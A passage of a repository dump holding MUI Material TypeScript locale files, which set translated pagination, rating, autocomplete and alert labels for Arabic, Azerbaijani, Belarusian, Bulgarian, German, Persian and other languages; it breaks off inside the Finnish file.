{\n      defaultProps: {\n        'aria-label': 'التنقل عبر الصفحات',\n        getItemAriaLabel: (type, page, selected) => {\n          if (type === 'page') {\n            return `${selected ? '' : 'الانتقال إلى '} صفحة ${page}`;\n          }\n          if (type === 'first') {\n            return 'الانتقال إلى الصفحة الأولى';\n          }\n          if (type === 'last') {\n            return 'الانتقال الي الصفحة الأخيرة';\n          }\n          if (type === 'next') {\n            return 'الانتقال إلى الصفحة التالية';\n          }\n          // if (type === 'previous') {\n          return 'الانتقال إلى الصفحة السابقة';\n        },\n      },\n    },\n  },\n};\n"
  },
  {
    "path": "packages/mui-material/src/locale/arSD.ts",
    "content": "import type { Localization } from './utils/LocaleTextApi';\nimport buildFormatNumber from './utils/buildFormatNumber';\n\nconst formatNumber = buildFormatNumber('ar-SD');\n\nexport const arSD: Localization = {\n  components: {\n    MuiBreadcrumbs: {\n      defaultProps: {\n        expandText: 'إظهار المسار',\n      },\n    },\n    MuiTablePagination: {\n      defaultProps: {\n        getItemAriaLabel: (type) => {\n          if (type === 'first') {\n            return 'انتقل إلى الصفحة الأولى';\n          }\n          if (type === 'last') {\n            return 'انتقل إلى الصفحة الأخيرة';\n          }\n          if (type === 'next') {\n            return 'انتقل إلى الصفحة التالية';\n          }\n          // if (type === 'previous') {\n          return 'انتقل إلى الصفحة السابقة';\n        },\n        labelRowsPerPage: 'عدد الصفوف في الصفحة:',\n        labelDisplayedRows: ({ from, to, count }) =>\n          `${formatNumber(from)}–${formatNumber(to)} من ${count !== -1 ? formatNumber(count) : ` أكثر من${formatNumber(to)}`}`,\n      },\n    },\n    MuiRating: {\n      defaultProps: {\n        getLabelText: (value) => `${value} ${value !== 1 ? 'نجوم' : 'نجمة'}`,\n        emptyLabelText: 'فارغ',\n      },\n    },\n    MuiAutocomplete: {\n      defaultProps: {\n        clearText: 'مسح',\n        closeText: 'إغلاق',\n        loadingText: 'جار التحميل…',\n        noOptionsText: 'لا يوجد خيارات',\n        openText: 'فتح',\n      },\n    },\n    MuiAlert: {\n      defaultProps: {\n        closeText: 'إغلاق',\n      },\n    },\n    MuiPagination: {\n      defaultProps: {\n        'aria-label': 'التنقل عبر الصفحات',\n        getItemAriaLabel: (type, page, selected) => {\n          if (type === 'page') {\n            return `${selected ? '' : 'انتقل إلى '} صفحة ${page}`;\n          }\n          if (type === 'first') {\n            return 'انتقل إلى الصفحة الأولى';\n          }\n          if (type === 'last') {\n            return 'انتقل الي الصفحة الأخيرة';\n          }\n          if (type === 'next') {\n            return 'انتقل إلى الصفحة التالية';\n          }\n          // if (type === 'previous') {\n          return 'انتقل إلى الصفحة السابقة';\n        },\n      },\n    },\n  },\n};\n"
  },
  {
    "path": "packages/mui-material/src/locale/azAZ.ts",
    "content": "import { Localization } from './utils/LocaleTextApi';\n\nexport const azAZ: Localization = {\n  components: {\n    MuiBreadcrumbs: {\n      defaultProps: {\n        expandText: 'Yolu göstər',\n      },\n    },\n    MuiTablePagination: {\n      defaultProps: {\n        getItemAriaLabel: (type) => {\n          if (type === 'first') {\n            return 'Birinci səhifəyə keç';\n          }\n          if (type === 'last') {\n            return 'Sonuncu səhifəyə keç';\n          }\n          if (type === 'next') {\n            return 'Növbəti səhifəyə keç';\n          }\n          // if (type === 'previous') {\n          return 'Əvvəlki səhifəyə keç';\n        },\n        labelRowsPerPage: 'Səhifəyə düşən sətrlər:',\n        // labelDisplayedRows: ({ from, to, count }) =>\n        //   `${from}–${to} dən ${count !== -1 ? count : `more than ${to}`}`,\n      },\n    },\n    MuiRating: {\n      defaultProps: {\n        getLabelText: (value) => {\n          let pluralForm = 'Ulduz';\n          const lastDigit = value % 10;\n\n          if (lastDigit > 1 && lastDigit < 5) {\n            pluralForm = 'Ulduzlar';\n          }\n\n          return `${value} ${pluralForm}`;\n        },\n        emptyLabelText: 'Boş',\n      },\n    },\n    MuiAutocomplete: {\n      defaultProps: {\n        clearText: 'Silmək',\n        closeText: 'Bağlamaq',\n        loadingText: 'Yüklənir…',\n        noOptionsText: 'Seçimlər mövcud deyil',\n        openText: 'Открыть',\n      },\n    },\n    MuiAlert: {\n      defaultProps: {\n        closeText: 'Bağlamaq',\n      },\n    },\n    MuiPagination: {\n      defaultProps: {\n        'aria-label': 'Səhifənin naviqasiyası',\n        getItemAriaLabel: (type, page, selected) => {\n          if (type === 'page') {\n            return `${page} ${selected ? 'səhifə' : 'səhifəyə keç'}`;\n          }\n          if (type === 'first') {\n            return 'Birinci səhifəyə keç';\n          }\n          if (type === 'last') {\n            return 'Sonuncu səhifəyə keç';\n          }\n          if (type === 'next') {\n            return 'Növbəti səhifəyə keç';\n          }\n          // if (type === 'previous') {\n          return 'Əvvəlki səhifəyə keç';\n        },\n      },\n    },\n  },\n};\n"
  },
  {
    "path": "packages/mui-material/src/locale/beBY.ts",
    "content": "import type { Localization } from './utils/LocaleTextApi';\nimport buildFormatNumber from './utils/buildFormatNumber';\n\nconst formatNumber = buildFormatNumber('be-BY');\n\nexport const beBY: Localization = {\n  components: {\n    MuiBreadcrumbs: {\n      defaultProps: {\n        expandText: 'Паказаць шлях',\n      },\n    },\n    MuiTablePagination: {\n      defaultProps: {\n        getItemAriaLabel: (type) => {\n          if (type === 'first') {\n            return 'Перайсці на першую старонку';\n          }\n          if (type === 'last') {\n            return 'Перайсці на апошнюю старонку';\n          }\n          if (type === 'next') {\n            return 'Перайсці на наступную старонку';\n          }\n          // if (type === 'previous') {\n          return 'Перайсці на папярэднюю старонку';\n        },\n        labelRowsPerPage: 'Радкоў на старонцы:',\n        labelDisplayedRows: ({ from, to, count }) =>\n          `${formatNumber(from)}–${formatNumber(to)} з ${count !== -1 ? formatNumber(count) : `больш чым ${formatNumber(to)}`}`,\n      },\n    },\n    MuiRating: {\n      defaultProps: {\n        getLabelText: (value) => {\n          let pluralForm = 'Зорак';\n          const lastDigit = value % 10;\n\n          if (lastDigit > 1 && lastDigit < 5 && (value < 10 || value > 20)) {\n            pluralForm = 'Зоркі';\n          } else if (lastDigit === 1 && value % 100 !== 11) {\n            pluralForm = 'Зорка';\n          }\n\n          return `${value} ${pluralForm}`;\n        },\n        emptyLabelText: 'Рэйтынг адсутнічае',\n      },\n    },\n    MuiAutocomplete: {\n      defaultProps: {\n        clearText: 'Ачысціць',\n        closeText: 'Закрыць',\n        loadingText: 'Загрузка…',\n        noOptionsText: 'Няма варыянтаў',\n        openText: 'Адкрыць',\n      },\n    },\n    MuiAlert: {\n      defaultProps: {\n        closeText: 'Закрыць',\n      },\n    },\n    MuiPagination: {\n      defaultProps: {\n        'aria-label': 'Навігацыя па старонкам',\n        getItemAriaLabel: (type, page, selected) => {\n          if (type === 'page') {\n            if (selected) {\n              return `${page} старонка`;\n            }\n            return `Перайсці на ${page} старонку`;\n          }\n          if (type === 'first') {\n            return 'Перайсці на першую старонку';\n          }\n          if (type === 'last') {\n            return 'Перайсці на апошнюю старонку';\n          }\n          if (type === 'next') {\n            return 'Перайсці на наступную старонку';\n          }\n          // if (type === 'previous') {\n          return 'Перайсці на папярэднюю старонку';\n        },\n      },\n    },\n  },\n};\n"
  },
  {
    "path": "packages/mui-material/src/locale/bgBG.ts",
    "content": "import type { Localization } from './utils/LocaleTextApi';\n\nexport const bgBG: Localization = {\n  components: {\n    MuiBreadcrumbs: {\n      defaultProps: {\n        expandText: 'Показване на пътя',\n      },\n    },\n    MuiTablePagination: {\n      defaultProps: {\n        getItemAriaLabel: (type) => {\n          if (type === 'first') {\n            return 'Отиди на първата страница';\n          }\n          if (type === 'last') {\n            return 'Отиди на последната страница';\n          }\n          if (type === 'next') {\n            return 'Отиди на следващата страница';\n          }\n          // if (type === 'previous') {\n          return 'Отиди на предишната страница';\n        },\n        labelRowsPerPage: 'Редове на страница:',\n        // labelDisplayedRows: ({ from, to, count }) =>\n        //   `${from}–${to} от ${count !== -1 ? count : `more than ${to}`}`,\n      },\n    },\n    MuiRating: {\n      defaultProps: {\n        getLabelText: (value) => `${value} Звезд${value !== 1 ? 'и' : 'а'}`,\n        emptyLabelText: 'Изчисти',\n      },\n    },\n    MuiAutocomplete: {\n      defaultProps: {\n        clearText: 'Изчисти',\n        closeText: 'Затвори',\n        loadingText: 'Зареждане…',\n        noOptionsText: 'Няма налични опции',\n        openText: 'Отвори',\n      },\n    },\n    MuiAlert: {\n      defaultProps: {\n        closeText: 'Затвори',\n      },\n    },\n    MuiPagination: {\n      defaultProps: {\n        'aria-label': 'Пагинация',\n        getItemAriaLabel: (type, page, selected) => {\n          if (type === 'page') {\n            return `${selected ? '' : 'Към '}страница ${page}`;\n          }\n          if (type === 'first') {\n            return 'Отиди на първата страница';\n          }\n          if (type === 'last') {\n            return 'Отиди на последната страница';\n          }\n          if (type === 'next') {\n            return 'Отиди на следващата страница';\n          }\n          // if (type === 'previous') {\n          return 'Отиди на предишната страница';\n        },\n      },\n    },\n  },\n};\n"
  },
  {
    "path": "packages/mui-material/src/locale/bnBD.ts",
    "content": "import type { Localization } from './utils/LocaleTextApi';\nimport buildFormatNumber from './utils/buildFormatNumber';\n\nconst formatNumber = buildFormatNumber('bn-BD');\n\nexport const bnBD: Localization = {\n  components: {\n    MuiBreadcrumbs: {\n      defaultProps: {\n        expandText: 'পথ দেখান',\n      },\n    },\n    MuiTablePagination: {\n      defaultProps: {\n        getItemAriaLabel: (type) => {\n          if (type === 'first') {\n            return 'প্রথম পৃষ্ঠায় যান';\n          }\n          if (type === 'last') {\n            return 'শেষ পৃষ্ঠায় যান';\n          }\n          if (type === 'next') {\n            return 'পরবর্তী পৃষ্ঠায় যান';\n          }\n          // if (type === 'previous') {\n          return 'আগের পৃষ্ঠায় যান';\n        },\n        labelRowsPerPage: 'প্রতি পৃষ্ঠায় সারি:',\n        labelDisplayedRows: ({ from, to, count }) =>\n          `${formatNumber(from)}–${formatNumber(to)} / ${count !== -1 ? formatNumber(count) : `${formatNumber(to)} থেকে বেশি`}`,\n      },\n    },\n    MuiRating: {\n      defaultProps: {\n        getLabelText: (value) => `${value} স্টার`,\n        emptyLabelText: 'খালি',\n      },\n    },\n    MuiAutocomplete: {\n      defaultProps: {\n        clearText: 'পরিষ্কার করুন',\n        closeText: 'বন্ধ করুন',\n        loadingText: 'লোড হচ্ছে…',\n        noOptionsText: 'কোন অপশন নেই',\n        openText: 'ওপেন করুন',\n      },\n    },\n    MuiAlert: {\n      defaultProps: {\n        closeText: 'বন্ধ করুন',\n      },\n    },\n    MuiPagination: {\n      defaultProps: {\n        'aria-label': 'পেজিনেশন নেভিগেশন',\n        getItemAriaLabel: (type, page, selected) => {\n          if (type === 'page') {\n            return `${selected ? '' : 'যান '}পৃষ্ঠা ${page}-এ`;\n          }\n          if (type === 'first') {\n            return 'প্রথম পৃষ্ঠায় যান';\n          }\n          if (type === 'last') {\n            return 'শেষ পৃষ্ঠায় যান';\n          }\n          if (type === 'next') {\n            return 'পরবর্তী পৃষ্ঠায় যান';\n          }\n          // if (type === 'previous') {\n          return 'আগের পৃষ্ঠায় যান';\n        },\n      },\n    },\n  },\n};\n"
  },
  {
    "path": "packages/mui-material/src/locale/caES.ts",
    "content": "import type { Localization } from './utils/LocaleTextApi';\nimport buildFormatNumber from './utils/buildFormatNumber';\n\nconst formatNumber = buildFormatNumber('ca-ES');\n\nexport const caES: Localization = {\n  components: {\n    MuiBreadcrumbs: {\n      defaultProps: {\n        expandText: 'Mostra el camí',\n      },\n    },\n    MuiTablePagination: {\n      defaultProps: {\n        getItemAriaLabel: (type) => {\n          if (type === 'first') {\n            return 'Ves a la primera pàgina';\n          }\n          if (type === 'last') {\n            return \"Ves a l'última pàgina\";\n          }\n          if (type === 'next') {\n            return 'Ves a la pàgina següent';\n          }\n          // if (type === 'previous') {\n          return 'Ves a la pàgina anterior';\n        },\n        labelRowsPerPage: 'Files per pàgina:',\n        labelDisplayedRows: ({ from, to, count }) =>\n          `${formatNumber(from)}–${formatNumber(to)} de ${count !== -1 ? formatNumber(count) : `més de ${formatNumber(to)}`}`,\n      },\n    },\n    MuiRating: {\n      defaultProps: {\n        getLabelText: (value) => `${value} ${value !== 1 ? 'Estrelles' : 'Estrella'}`,\n        emptyLabelText: 'Buit',\n      },\n    },\n    MuiAutocomplete: {\n      defaultProps: {\n        clearText: 'Netejar',\n        closeText: 'Tancar',\n        loadingText: 'Carregant…',\n        noOptionsText: 'Sense opcions',\n        openText: 'Obert',\n      },\n    },\n    MuiAlert: {\n      defaultProps: {\n        closeText: 'Tancat',\n      },\n    },\n    MuiPagination: {\n      defaultProps: {\n        'aria-label': 'Navegació entre pàgines',\n        getItemAriaLabel: (type, page, selected) => {\n          if (type === 'page') {\n            return `${selected ? '' : 'Ves a la '}pàgina ${page}`;\n          }\n          if (type === 'first') {\n            return 'Ves a la primera pàgina';\n          }\n          if (type === 'last') {\n            return \"Ves a l'última pàgina\";\n          }\n          if (type === 'next') {\n            return 'Ves a la pàgina següent';\n          }\n          // if (type === 'previous') {\n          return 'Ves a la pàgina anterior';\n        },\n      },\n    },\n  },\n};\n"
  },
  {
    "path": "packages/mui-material/src/locale/csCZ.ts",
    "content": "import type { Localization } from './utils/LocaleTextApi';\nimport buildFormatNumber from './utils/buildFormatNumber';\n\nconst formatNumber = buildFormatNumber('cs-CZ');\n\nexport const csCZ: Localization = {\n  components: {\n    MuiBreadcrumbs: {\n      defaultProps: {\n        expandText: 'Ukázat cestu',\n      },\n    },\n    MuiTablePagination: {\n      defaultProps: {\n        getItemAriaLabel: (type) => {\n          if (type === 'first') {\n            return 'Jít na první stránku';\n          }\n          if (type === 'last') {\n            return 'Jít na poslední stránku';\n          }\n          if (type === 'next') {\n            return 'Jít na další stránku';\n          }\n          // if (type === 'previous') {\n          return 'Jít na předchozí stránku';\n        },\n        labelRowsPerPage: 'Řádků na stránce:',\n        labelDisplayedRows: ({ from, to, count }) =>\n          `${formatNumber(from)}–${formatNumber(to)} z ${count !== -1 ? formatNumber(count) : `více než ${formatNumber(to)}`}`,\n      },\n    },\n    MuiRating: {\n      defaultProps: {\n        getLabelText: (value) => {\n          if (value === 1) {\n            return `${value} hvězdička`;\n          }\n          if (value >= 2 && value <= 4) {\n            return `${value} hvězdičky`;\n          }\n          return `${value} hvězdiček`;\n        },\n        emptyLabelText: 'Prázdné',\n      },\n    },\n    MuiAutocomplete: {\n      defaultProps: {\n        clearText: 'Vymazat',\n        closeText: 'Zavřít',\n        loadingText: 'Načítání…',\n        noOptionsText: 'Žádné možnosti',\n        openText: 'Otevřít',\n      },\n    },\n    MuiAlert: {\n      defaultProps: {\n        closeText: 'Zavřít',\n      },\n    },\n    MuiPagination: {\n      defaultProps: {\n        'aria-label': 'Navigace stránkováním',\n        getItemAriaLabel: (type, page, selected) => {\n          if (type === 'page') {\n            return `${selected ? '' : 'Jít na '}${page}. stránku`;\n          }\n          if (type === 'first') {\n            return 'Jít na první stránku';\n          }\n          if (type === 'last') {\n            return 'Jít na poslední stránku';\n          }\n          if (type === 'next') {\n            return 'Jít na další stránku';\n          }\n          // if (type === 'previous') {\n          return 'Jít na předchozí stránku';\n        },\n      },\n    },\n  },\n};\n"
  },
  {
    "path": "packages/mui-material/src/locale/daDK.ts",
    "content": "import type { Localization } from './utils/LocaleTextApi';\nimport buildFormatNumber from './utils/buildFormatNumber';\n\nconst formatNumber = buildFormatNumber('da-DK');\n\nexport const daDK: Localization = {\n  components: {\n    MuiBreadcrumbs: {\n      defaultProps: {\n        expandText: 'Vis sti',\n      },\n    },\n    MuiTablePagination: {\n      defaultProps: {\n        getItemAriaLabel: (type) => {\n          if (type === 'first') {\n            return 'Gå til den første side';\n          }\n          if (type === 'last') {\n            return 'Gå til den sidste side';\n          }\n          if (type === 'next') {\n            return 'Gå til den næste side';\n          }\n          // if (type === 'previous') {\n          return 'Gå til den forrige side';\n        },\n        labelRowsPerPage: 'Rækker pr side:',\n        labelDisplayedRows: ({ from, to, count }) =>\n          `${formatNumber(from)}-${formatNumber(to)} af ${count !== -1 ? formatNumber(count) : `mere end ${formatNumber(to)}`}`,\n      },\n    },\n    MuiRating: {\n      defaultProps: {\n        getLabelText: (value) => `${value} Stjern${value !== 1 ? 'er' : ''}`,\n        emptyLabelText: 'Tom',\n      },\n    },\n    MuiAutocomplete: {\n      defaultProps: {\n        clearText: 'Slet',\n        closeText: 'Luk',\n        loadingText: 'Indlæser…',\n        noOptionsText: 'Ingen muligheder',\n        openText: 'Åben',\n      },\n    },\n    MuiAlert: {\n      defaultProps: {\n        closeText: 'Luk',\n      },\n    },\n    MuiPagination: {\n      defaultProps: {\n        'aria-label': 'Sideinddelings navigation',\n        getItemAriaLabel: (type, page, selected) => {\n          if (type === 'page') {\n            return `${selected ? '' : 'Go to '}page ${page}`;\n          }\n          if (type === 'first') {\n            return 'Gå til den første side';\n          }\n          if (type === 'last') {\n            return 'Gå til den sidste side';\n          }\n          if (type === 'next') {\n            return 'Gå til den næste side';\n          }\n          // if (type === 'previous') {\n          return 'Gå til den forrige side';\n        },\n      },\n    },\n  },\n};\n"
  },
  {
    "path": "packages/mui-material/src/locale/deDE.ts",
    "content": "import type { Localization } from './utils/LocaleTextApi';\nimport buildFormatNumber from './utils/buildFormatNumber';\n\nconst formatNumber = buildFormatNumber('de-DE');\n\nexport const deDE: Localization = {\n  components: {\n    MuiBreadcrumbs: {\n      defaultProps: {\n        expandText: 'Pfad anzeigen',\n      },\n    },\n    MuiTablePagination: {\n      defaultProps: {\n        getItemAriaLabel: (type) => {\n          if (type === 'first') {\n            return 'Zur ersten Seite';\n          }\n          if (type === 'last') {\n            return 'Zur letzten Seite';\n          }\n          if (type === 'next') {\n            return 'Zur nächsten Seite';\n          }\n          // if (type === 'previous') {\n          return 'Zur vorherigen Seite';\n        },\n        labelRowsPerPage: 'Zeilen pro Seite:',\n        labelDisplayedRows: ({ from, to, count }) =>\n          `${formatNumber(from)}–${formatNumber(to)} von ${count !== -1 ? formatNumber(count) : `mehr als ${formatNumber(to)}`}`,\n      },\n    },\n    MuiRating: {\n      defaultProps: {\n        getLabelText: (value) => `${value} ${value !== 1 ? 'Sterne' : 'Stern'}`,\n        emptyLabelText: 'Keine Wertung',\n      },\n    },\n    MuiAutocomplete: {\n      defaultProps: {\n        clearText: 'Leeren',\n        closeText: 'Schließen',\n        loadingText: 'Wird geladen…',\n        noOptionsText: 'Keine Optionen',\n        openText: 'Öffnen',\n      },\n    },\n    MuiAlert: {\n      defaultProps: {\n        closeText: 'Schließen',\n      },\n    },\n    MuiPagination: {\n      defaultProps: {\n        'aria-label': 'Navigation via Seitennummerierung',\n        getItemAriaLabel: (type, page, selected) => {\n          if (type === 'page') {\n            return `${selected ? '' : 'Gehe zu '}Seite ${page}`;\n          }\n          if (type === 'first') {\n            return 'Zur ersten Seite';\n          }\n          if (type === 'last') {\n            return 'Zur letzten Seite';\n          }\n          if (type === 'next') {\n            return 'Zur nächsten Seite';\n          }\n          // if (type === 'previous') {\n          return 'Zur vorherigen Seite';\n        },\n      },\n    },\n  },\n};\n"
  },
  {
    "path": "packages/mui-material/src/locale/elGR.ts",
    "content": "import type { Localization } from './utils/LocaleTextApi';\nimport buildFormatNumber from './utils/buildFormatNumber';\n\nconst formatNumber = buildFormatNumber('el-GR');\n\nexport const elGR: Localization = {\n  components: {\n    MuiBreadcrumbs: {\n      defaultProps: {\n        expandText: 'Εμφάνιση διαδρομής',\n      },\n    },\n    MuiTablePagination: {\n      defaultProps: {\n        getItemAriaLabel: (type) => {\n          if (type === 'first') {\n            return 'Πρώτη σελίδα';\n          }\n          if (type === 'last') {\n            return 'Τελευταία σελίδα';\n          }\n          if (type === 'next') {\n            return 'Επόμενη σελίδα';\n          }\n\n          // if (type === \"previous\") {\n          return 'Προηγούμενη σελίδα';\n        },\n        labelRowsPerPage: 'Γραμμές ανα σελίδα:',\n        labelDisplayedRows: ({ from, to, count }) =>\n          `${formatNumber(from)}–${formatNumber(to)} από ${count !== -1 ? formatNumber(count) : `πάνω από ${formatNumber(to)}`}`,\n      },\n    },\n    MuiRating: {\n      defaultProps: {\n        getLabelText: (value) => `${value} Αστέρι${value !== 1 ? 'α' : ''}`,\n        emptyLabelText: 'Χωρίς βαθμολόγηση',\n      },\n    },\n    MuiAutocomplete: {\n      defaultProps: {\n        clearText: 'Καθαρισμός',\n        closeText: 'Κλείσιμο',\n        loadingText: 'Φόρτωση…',\n        noOptionsText: 'Δεν υπάρχουν επιλογές',\n        openText: 'Άνοιγμα',\n      },\n    },\n    MuiAlert: {\n      defaultProps: {\n        closeText: 'Κλείσιμο',\n      },\n    },\n    MuiPagination: {\n      defaultProps: {\n        'aria-label': 'Πλοήγηση σε σελίδες',\n        getItemAriaLabel: (type, page, selected) => {\n          if (type === 'page') {\n            return `${selected ? '' : 'Μετάβαση '}σελίδα ${page}`;\n          }\n          if (type === 'first') {\n            return 'Πρώτη σελίδα';\n          }\n          if (type === 'last') {\n            return 'Τελευταία σελίδα';\n          }\n          if (type === 'next') {\n            return 'Επόμενη σελίδα';\n          }\n\n          // if (type === \"previous\") {\n          return 'Προηγούμενη σελίδα';\n        },\n      },\n    },\n  },\n};\n"
  },
  {
    "path": "packages/mui-material/src/locale/enUS.ts",
    "content": "import type { Localization } from './utils/LocaleTextApi';\n\n// default\nexport const enUS: Localization = {\n  /*\n  components: {\n    MuiBreadcrumbs: { defaultProps: {\n      expandText: 'Show path',\n    }},\n    MuiTablePagination: { defaultProps: {\n      getItemAriaLabel: (type) => {\n        if (type === 'first') {\n          return 'Go to first page';\n        }\n        if (type === 'last') {\n          return 'Go to last page';\n        }\n        if (type === 'next') {\n          return 'Go to next page';\n        }\n        // if (type === 'previous') {\n        return 'Go to previous page';\n      },\n      labelRowsPerPage: 'Rows per page:',\n      labelDisplayedRows: ({ from, to, count }) =>\n  `${from}–${to} of ${count !== -1 ? count : `more than ${to}`}`,\n    }},\n    MuiRating: { defaultProps: {\n      getLabelText: value => `${value} Star${value !== 1 ? 's' : ''}`,\n      emptyLabelText: 'Empty',\n    }},\n    MuiAutocomplete: { defaultProps: {\n      clearText: 'Clear',\n      closeText: 'Close',\n      loadingText: 'Loading…',\n      noOptionsText: 'No options',\n      openText: 'Open',\n    }},\n    MuiAlert: { defaultProps: {\n      closeText: 'Close',\n    }},\n    MuiPagination: {  defaultProps: {\n      'aria-label': 'Pagination navigation',\n      getItemAriaLabel: (type, page, selected) => {\n        if (type === 'page') {\n          return `${selected ? '' : 'Go to '}page ${page}`;\n        }\n        if (type === 'first') {\n          return 'Go to first page';\n        }\n        if (type === 'last') {\n          return 'Go to last page';\n        }\n        if (type === 'next') {\n          return 'Go to next page';\n        }\n        // if (type === 'previous') {\n        return 'Go to previous page';\n      },\n    }},\n  },\n*/\n};\n"
  },
  {
    "path": "packages/mui-material/src/locale/esES.ts",
    "content": "import type { Localization } from './utils/LocaleTextApi';\nimport buildFormatNumber from './utils/buildFormatNumber';\n\nconst formatNumber = buildFormatNumber('es-ES');\n\nexport const esES: Localization = {\n  components: {\n    MuiBreadcrumbs: {\n      defaultProps: {\n        expandText: 'Mostrar ruta',\n      },\n    },\n    MuiTablePagination: {\n      defaultProps: {\n        getItemAriaLabel: (type) => {\n          if (type === 'first') {\n            return 'Ir a la primera página';\n          }\n          if (type === 'last') {\n            return 'Ir a la última página';\n          }\n          if (type === 'next') {\n            return 'Ir a la página siguiente';\n          }\n          // if (type === 'previous') {\n          return 'Ir a la página anterior';\n        },\n        labelRowsPerPage: 'Filas por página:',\n        labelDisplayedRows: ({ from, to, count }) =>\n          `${formatNumber(from)}–${formatNumber(to)} de ${count !== -1 ? formatNumber(count) : `más de ${formatNumber(to)}`}`,\n      },\n    },\n    MuiRating: {\n      defaultProps: {\n        getLabelText: (value) => `${value} Estrella${value !== 1 ? 's' : ''}`,\n        emptyLabelText: 'Vacío',\n      },\n    },\n    MuiAutocomplete: {\n      defaultProps: {\n        clearText: 'Limpiar',\n        closeText: 'Cerrar',\n        loadingText: 'Cargando…',\n        noOptionsText: 'Sin opciones',\n        openText: 'Abierto',\n      },\n    },\n    MuiAlert: {\n      defaultProps: {\n        closeText: 'Cerrar',\n      },\n    },\n    MuiPagination: {\n      defaultProps: {\n        'aria-label': 'Paginador',\n        getItemAriaLabel: (type, page, selected) => {\n          if (type === 'page') {\n            return `${selected ? '' : 'Ir a la '}página ${page}`;\n          }\n          if (type === 'first') {\n            return 'Ir a la primera página';\n          }\n          if (type === 'last') {\n            return 'Ir a la última página';\n          }\n          if (type === 'next') {\n            return 'Ir a la página siguiente';\n          }\n          // if (type === 'previous') {\n          return 'Ir a la página anterior';\n        },\n      },\n    },\n  },\n};\n"
  },
  {
    "path": "packages/mui-material/src/locale/etEE.ts",
    "content": "import type { Localization } from './utils/LocaleTextApi';\nimport buildFormatNumber from './utils/buildFormatNumber';\n\nconst formatNumber = buildFormatNumber('et-EE');\n\nexport const etEE: Localization = {\n  components: {\n    MuiBreadcrumbs: {\n      defaultProps: {\n        expandText: 'Näita teed',\n      },\n    },\n    MuiTablePagination: {\n      defaultProps: {\n        getItemAriaLabel: (type) => {\n          if (type === 'first') {\n            return 'Vali esimene lehekülg';\n          }\n          if (type === 'last') {\n            return 'Vali viimane lehekülg';\n          }\n          if (type === 'next') {\n            return 'Vali järgmine lehekülg';\n          }\n          // if (type === 'previous') {\n          return 'Vali eelmine lehekülg';\n        },\n        labelRowsPerPage: 'Ridu leheküljel:',\n        labelDisplayedRows: ({ from, to, count }) =>\n          `${formatNumber(from)}–${formatNumber(to)} / ${count !== -1 ? formatNumber(count) : `rohkem kui ${formatNumber(to)}`}`,\n      },\n    },\n    MuiRating: {\n      defaultProps: {\n        getLabelText: (value) => `${value} Tärn${value !== 1 ? 'i' : ''}`,\n        emptyLabelText: 'Tühi',\n      },\n    },\n    MuiAutocomplete: {\n      defaultProps: {\n        clearText: 'Tühjenda',\n        closeText: 'Sulge',\n        loadingText: 'Laen…',\n        noOptionsText: 'Valikuid ei ole',\n        openText: 'Ava',\n      },\n    },\n    MuiAlert: {\n      defaultProps: {\n        closeText: 'Sulge',\n      },\n    },\n    MuiPagination: {\n      defaultProps: {\n        'aria-label': 'Lehekülgede valik',\n        getItemAriaLabel: (type, page, selected) => {\n          if (type === 'page') {\n            return `${selected ? '' : 'Vali '}lehekülg ${page}`;\n          }\n          if (type === 'first') {\n            return 'Vali esimene lehekülg';\n          }\n          if (type === 'last') {\n            return 'Vali viimane lehekülg';\n          }\n          if (type === 'next') {\n            return 'Vali järgmine lehekülg';\n          }\n          // if (type === 'previous') {\n          return 'Vali eelmine lehekülg';\n        },\n      },\n    },\n  },\n};\n"
  },
  {
    "path": "packages/mui-material/src/locale/faIR.ts",
    "content": "import type { Localization } from './utils/LocaleTextApi';\nimport buildFormatNumber from './utils/buildFormatNumber';\n\nconst formatNumber = buildFormatNumber('fa-IR');\n\nexport const faIR: Localization = {\n  components: {\n    // MuiBreadcrumbs: {\n    //   defaultProps: {\n    //     expandText: 'Show path',\n    //   },\n    // },\n    MuiBreadcrumbs: {\n      defaultProps: {\n        expandText: 'نمایش مسیر',\n      },\n    },\n    MuiTablePagination: {\n      defaultProps: {\n        getItemAriaLabel: (type) => {\n          if (type === 'first') {\n            return 'رفتن به اولین صفحه';\n          }\n          if (type === 'last') {\n            return 'رفتن به آخرین صفحه';\n          }\n          if (type === 'next') {\n            return 'رفتن به صفحه‌ی بعدی';\n          }\n          // if (type === 'previous') {\n          return 'رفتن به صفحه‌ی قبلی';\n        },\n        labelRowsPerPage: 'تعداد سطرهای هر صفحه:',\n        labelDisplayedRows: ({ from, to, count }) =>\n          `${formatNumber(from)}–${formatNumber(to)} از ${count !== -1 ? formatNumber(count) : `بیشتر از ${formatNumber(to)}`}`,\n      },\n    },\n    MuiRating: {\n      defaultProps: {\n        getLabelText: (value) => `${value} ستاره`,\n        emptyLabelText: 'خالی',\n      },\n    },\n    MuiAutocomplete: {\n      defaultProps: {\n        clearText: 'پاک‌کردن',\n        closeText: 'بستن',\n        loadingText: 'در حال بارگذاری…',\n        noOptionsText: 'بی‌نتیجه',\n        openText: 'بازکردن',\n      },\n    },\n    MuiAlert: {\n      defaultProps: {\n        closeText: 'بستن',\n      },\n    },\n    MuiPagination: {\n      defaultProps: {\n        'aria-label': 'ناوبری صفحه',\n        getItemAriaLabel: (type, page, selected) => {\n          if (type === 'page') {\n            return `${selected ? '' : 'رفتن به '}صفحهٔ ${page}`;\n          }\n          if (type === 'first') {\n            return 'رفتن به اولین صفحه';\n          }\n          if (type === 'last') {\n            return 'رفتن به آخرین صفحه';\n          }\n          if (type === 'next') {\n            return 'رفتن به صفحه‌ی بعدی';\n          }\n          // if (type === 'previous') {\n          return 'رفتن به صفحه‌ی قبلی';\n        },\n      },\n    },\n  },\n};\n"
  },
  {
    "path": "packages/mui-material/src/locale/fiFI.ts",
    "content": "import type { Localization } from './utils/LocaleTextApi';\nimport buildFormatNumber from './utils/buildFormatNumber';\n\nconst formatNumber = buildFormatNumber('fi-FI');\n\nexport const fiFI: Localization = {\n  components: {\n    MuiBreadcrumbs: {\n      defaultProps: {\n        expandText: 'Näytä reitti',\n      },\n    },\n    MuiTablePagination: {\n      defaultProps: {\n        getItemAriaLabel: (type) => {\n          if (type === 'first') {\n            return 'Mene ensimmäiselle sivulle';\n          }\n          if (type === 'last') {\n            return 'Mene viimeiselle sivulle';\n          }\n          if (type === 'next') {\n            return 'Mene seuraavalle sivulle';\n          }\n          // if (type === 'previous') {\n          return 'Mene edelliselle sivulle';\n        },\n        labelRowsPerPage: 'Rivejä per sivu:',\n        labelDisplayedRows: ({ from, to, count }) =>\n          `${formatNumber(from)}–${formatNumber(to)} / ${count !== -1 ? formatNumber(count) : `enemmän kuin ${formatNumber(to)}`}`,\n      },\n    },\n    MuiRating: 